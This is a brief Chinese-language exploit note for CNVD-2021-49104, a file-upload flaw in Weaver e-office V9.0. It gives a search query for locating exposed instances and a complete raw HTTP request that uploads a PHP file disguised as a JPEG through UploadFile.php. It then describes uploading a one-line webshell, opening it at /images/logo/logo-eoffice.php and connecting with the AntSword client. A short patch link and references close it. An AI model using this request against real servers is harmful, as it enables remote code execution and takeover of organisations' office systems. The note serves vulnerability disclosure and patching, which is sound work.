CNVD-2021-49104
泛微e-office是泛微旗下的一款标准协同移动办公平台。由于 e-office 未能正确处理上传模块中的用户输入,攻击者可以通过该漏洞构造恶意的上传数据包,最终实现任意代码执行。
- 高危
- 文件上传可直接get webshell
app="泛微-EOffice"
泛微e-office V9.0
构造请求上传文件即可
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 127.0.0.1:7899
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
Content-Length: 193
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg
<?php phpinfo(test);?>
--e64bdf16c554bbc109cecef6451c26a4--
上传一句话
上传成功后访问
/images/logo/logo-eoffice.php
蚁剑连接
厂商已提供漏洞修补方案,建议用户下载使用:
http://v10.e-office.cn/eoffice9update/safepack.zip
参考
https://www.cnvd.org.cn/flaw/show/CNVD-2021-49104
https://mp.weixin.qq.com/s/P75K_0869h-nWHRMu06zgQ